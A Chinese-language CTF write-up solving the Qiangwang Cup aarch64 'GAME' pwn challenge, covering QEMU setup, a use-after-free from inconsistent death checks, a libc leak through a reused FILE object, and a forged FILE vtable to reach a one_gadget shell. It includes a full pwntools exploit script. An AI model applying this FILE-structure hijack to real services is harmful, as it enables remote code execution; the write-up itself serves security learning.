Mid Station

第二届强网杯Pwn-GAME

在强网杯这种省级比赛遇到了这样的题目,就有种中考碰到了微积分题目的感觉。

QEMU aarch64

Challenge Binary Download here
第一个难点就是把程序跑起来,这是一个armv8的程序,比赛时候想了很多方法。包括想到用树莓派甚至是iPhone来跑这个程序来调试,这些想法都不现实,后来还是老老实实搭建QEMU,期间找到了一个开箱即用的Ubuntu虚拟机:Some Qemu images to play with ,跑起来又觉得太卡,输入命令行等回显都要两三秒,更不用说用gdb来调试了。

这两天有时间又重新找了一下aarch64 QEMU虚拟机的搭建方法,然后按照用QEMU运行ARM64版本的Debian8这里的方法搭建了一台Debian系统的。讲道理Ubuntu系统当然是首选,但是可能是网络的原因,载入网络镜像之后虚拟机就启动不了,Debian用起来也没有区别。

参照链接里面的命令把虚拟机的端口转发出来,我除了转发22端口,来多转了一个4444端口,用于连接程序。然后把gdb,pwntools,gef等一系列必备工具装上。(这又是一个痛苦的等待过程,QEMU跑起来真的很慢)

IDA

另外一个令人头大的地方就是如何才能看懂程序的逻辑。这是ARMv8的程序,用的是和x86完全不同的指令集。比赛进行过程中手头上只有6.8版本的IDA,没有办法反编译ARM64的程序,指令集又不熟悉的情况下可谓是雾里看花。后来才在机缘巧合之下陆续搞到了6.9和7.0版本的IDA,终于可以反编译分析程序。

Vulns

UAF 0x1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
root@debian:~# ./game 
Hello everyone,welcome to The Legend of Sword and Fairy nonick version
First,choose your preferred hero:
1.Li Xiao Yao
2.Zhao Ling Er
3.Lin Yue Ru
99.exit
^C
root@debian:~# clear

root@debian:~# ./game
Hello everyone,welcome to The Legend of Sword and Fairy nonick version
First,choose your preferred hero:
1.Li Xiao Yao
2.Zhao Ling Er
3.Lin Yue Ru
99.exit
2
Here is your hero!
Hero Zhao ling Er status
-----------------
Slogan:I am curious about who is our enemy?
Health:80
Mana:40
Attack:20
Defense:15
Speed:50
Critical attack rate:0.3
Coins:0
-----------------
Spells:
* Simple attack
Decrease target Health 10 points.
This spell takes you 3 Mana points.
-----------------
* Normal attack
Decrease target Health 20 points.
Decrease target Attack 20 points.
This spell takes you 10 Mana points.
-----------------
* Death's glare
Decrease target Health 50 points.
Decrease target Defense 20 points.
This spell takes you 20 Mana points.
-----------------
You found 126 coins in underbrush!
Here you have some choices:
1.Buy something
2.Start journey
3.Your status
4.Kill yourself
5.Save
99.exit
2
You are out of viliege now.
Good luck Zhao ling Er!
Your record:
* win:0 times
* lost:0 times
* escape:0 times
Your escape ratio will decrease if you use it frequently.
Here comes a neuts!
Your turn!
What do you wanna do?
1.attack back
2.use a spell
3.status
4.defense
5.escape
2
Which spells do you wanna use?
1.Simple attack
2.Normal attack
3.Death's glare
1
Who is your target?
1.yourself
2.neuts
1
Zhao ling Er is using spell Simple attack on Zhao ling Er!
neuts is using spell hammer hit on Zhao ling Er!
Your turn!
What do you wanna do?
1.attack back
2.use a spell
3.status
4.defense
5.escape
2
Which spells do you wanna use?
1.Simple attack
2.Normal attack
3.Death's glare
1
Who is your target?
1.yourself
2.neuts
1
Zhao ling Er is using spell Simple attack on Zhao ling Er!
Your turn!
What do you wanna do?
1.attack back
2.use a spell
3.status
4.defense
5.escape
2
Which spells do you wanna use?
1.Simple attack
2.Normal attack
3.Death's glare
1
Who is your target?
1.yourself
2.neuts
1
Zhao ling Er is using spell Simple attack on Zhao ling Er!
neuts is attacking Zhao ling Er!
This is a CRITICAL attack!
This attack takes 20 Health points!
Zhao ling Er is killed by neuts!!
neuts get 126 coins!
Hero Zhao ling Er is DEAD!
YOU ARE DEAD!!
Thanks for your playing!
Do you have anything to report to us? (bug,unreasonable in character design,or anything else)
aaaa
We will consider each feedback seriously!Good bye!

首先贴上一段程序的运行流程, 可以看到这是一个RPG游戏程序(仙剑奇侠传?),主菜单有几个选项,包括买东西,出城打野,自杀,保存等。也许是自己功力不够,就算反编译了程序也看不出漏洞在哪里,跟着官方的writeup才勉强看出了端倪。
Alt text
上面是main函数里面判断角色死亡的条件,用的是role->blood & 0x8000000000000000,也就是判断blood的最高位是否为1,等同于判断blood是否为负数。
Alt text
而在journey函数里面,判断角色存活的条件是role->blood > 0,如果发现角色已经死亡(血量<=0),那么就会在这个函数里面调用角色结构体里面的虚表把对象给free掉。

两个判断条件的不一致就导致了一个Use-After-Free漏洞。当角色在journey函数里面血量等于0死亡,程序并不会立即结束,而是返回到main函数,留给我们继续操作的余地。
Alt text
然后选择save的选项,fopen将在heap中保存file object,而地址就正好是原先role对象所在的地址。而role->coins所在的地址正好就是现在file->_IO_file_jumps的地址,通过shop函数就能把file->_IO_file_jumps的内容给泄露出来,然后就得到了一个libc的地址,可以用于计算偏移地址。

UAF 0x2

得到libc地址以后,在主菜单选择kill yourself来free掉file object,然后选择退出程序,进入了comment函数。
Alt text
comment函数这里在heap上申请了0x200 bytes空间,正好又落在了之前file object所在的位置,到这里我们已经通过输入评论的内容可以任意控制file object里面的结构。

因为之前并没有对file object进行close操作,在最后调用exit()的时候会调用_IO_Cleanup来处理file object,最终在_IO_flush_all_lockp会调用被修改的file objec里面的vtable。这里的利用逻辑和house of orange很类似,都是伪造file object来达到控制IP的目的。

然而据writeup里面所说,这里的libc版本是2.24,引入了vtable check,所以file object的vtable地址并不能随便填。
Alt text
Alt text
如果把vtable地址改到0x13f050的位置,那么_IO_OVERFLOW就会落在0x13f060->0x650b0的位置,而我们可以看到只要在fp+232的位置填上我们想要跳转的位置,就能控制IP,这里直接就填上libc里面找到的one_gadget就能get shell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

# context.log_level = 'debug'
context.arch = 'aarch64'
p = remote('localhost', 4444)
env = {'LD_PRELOAD': './libc.so.6'}

def select_role(index):
p.recvuntil('exit\n')
p.sendline(str(index))

def main_menu(choice):
p.recvuntil('exit\n')
p.sendline(str(choice))

def attack_self():
p.recvuntil('escape\n')
p.sendline('2') # use spell
p.recvuntil('glare\n')
p.sendline('1') # simple attack
p.recvlines(3)
p.sendline('1') # attack self
content = p.recvlines(6)
return ''.join(content)

def leak_libc():
main_menu(5) # save
main_menu(1) # shop
p.recvuntil('coins:')
addr = int(p.recvline()[:-1])
p.info('libc_leak: %x' % addr)
p.recvuntil('shop\n')
p.sendline('99')
return addr

def exit(comment):
p.recvuntil('else)\n')
p.sendline(comment)

def kill_self():
main_menu(4)
p.recvuntil('no)\n')
p.sendline('yes')

select_role(2)
main_menu(2) # journey
while True:
recv = attack_self()
print recv
if 'DEAD' in recv and 'choices' in recv:
break
elif 'Thanks' in recv:
p.failure('Bad try!')
break
libc_addr = leak_libc()
libc_start = libc_addr - 0x13f638
one_gadget = libc_start + 0x3ca9c
p.info('libc_start: %x' % libc_start)
p.info('one_gadget: %x' % one_gadget)
p.info('vtable_to_jump: 0x%x' % (libc_start+0x6050b0))
kill_self()
vtable_ptr = libc_start + 0x13f050
p.info('vtable: 0x%x' % vtable_ptr)
content = [0] * 27
content[1] = 0x61
content[24] = 1
content[21] = 2
content[22] = 3
content[20] = vtable_ptr
fake_file = flat(content) + p64(vtable_ptr-8) + p64(0) + p64(one_gadget)
pause()
exit(fake_file)
p.interactive()

因为遇到的野怪和它的出招的是随机的,没有办法保证每一次游戏角色都0血死亡,这里只能让角色不停攻击自己,每次消耗10点血,争取0血死亡。如果没法0血死亡进入预定的程序轨道,EXP就会报错bad try。这里的重点在于如何构造一个fake file object 去满足_IO_flush_all_lockp里面的条件来劫持IP。

Recap

  1. aarch 64 QEMU搭建和联动调试
  2. ARM指令集的简要用法
  3. 通过文件对象的UAF来劫持IP
  4. 以前老是不明白为什么fopen打开文件以后还要close,现在懂了。